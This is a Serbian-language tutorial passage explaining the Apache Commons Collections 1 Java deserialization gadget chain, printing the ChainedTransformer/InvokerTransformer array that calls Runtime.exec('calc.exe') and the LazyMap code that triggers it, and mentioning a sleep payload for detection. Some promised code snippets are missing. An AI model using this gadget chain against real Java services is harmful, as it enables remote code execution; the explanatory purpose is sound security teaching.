Ako ne znate ništa o java deserialization payload-ima, može biti teško shvatiti zašto će ovaj kod izvršiti kalkulator.
Prvo što treba da znate je da je Transformer u Javi nešto što prima klasu i transformiše je u drugu.
Takođe, zanimljivo je znati da je payload koji se izvršava ovde ekvivalentan:
Dakle, kako je prvi payload predstavljen ekvivalentan onim "jednostavnim" jednosmernim linijama?
Prvo što možete primetiti u payload-u je da je niz (niz) transformacija kreiran:
String[] command = {"calc.exe"};finalTransformer[] transformers =newTransformer[]{//(1) - Get gadget Class (from Runtime class)newConstantTransformer(Runtime.class),//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"newInvokerTransformer("getMethod",newClass[]{ String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime ojectnewInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),//(4) - Use the Runtime object to call exec with arbitrary commandsnewInvokerTransformer("exec",newClass[]{String.class},command)};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
Ako pročitate kod, primetićete da ako nekako povežete transformaciju niza, mogli biste da izvršite proizvoljne komande.
U poslednjem delu payload-a možete videti da je Map objekat kreiran. Zatim, funkcija decorate se izvršava iz LazyMap sa map objektom i povezanim transformatorima. Iz sledećeg koda možete videti da će to uzrokovati da se povezani transformatori kopiraju unutar lazyMap.factory atributa:
protectedLazyMap(Map map,Transformer factory) {super(map);if (factory ==null) {thrownewIllegalArgumentException("Factory must not be null");}this.factory= factory;}
I zatim se izvršava veliki finale: lazyMap.get("anything");
Ovo je kod get funkcije:
publicObjectget(Object key) {if (map.containsKey(key) ==false) {Object value =factory.transform(key);map.put(key, value);return value;}returnmap.get(key);}
I ovo je kod funkcije transform
publicObjecttransform(Object object) {for (int i =0; i <iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
Dakle, zapamtite da smo unutar factory sačuvali chainedTransformer i unutar transform funkcije prolazimo kroz sve te povezane transformere i izvršavamo ih jedan za drugim. Zanimljivo je da svaki transformer koristi objectkao ulaz i object je izlaz iz poslednjeg izvršenog transformera. Stoga, svi transformi su povezani i izvršavaju zlonamerni payload.
Summary
Na kraju, zbog načina na koji lazyMap upravlja povezanim transformerima unutar get metode, kao da izvršavamo sledeći kod:
Napomena da je ovde objašnjeno kako se koriste gadgeti za ComonsCollections1 payload. Ali je ostavljeno kako sve ovo počinje da se izvršava. Možete videti ovde da ysoserial, kako bi izvršio ovaj payload, koristi AnnotationInvocationHandler objekat jer kada se ovaj objekat deserializuje, on će pozvati funkciju payload.get() koja će izvršiti ceo payload.
Java Thread Sleep
Ovaj payload bi mogao biti koristan za identifikaciju da li je web ranjiv jer će izvršiti sleep ako jeste.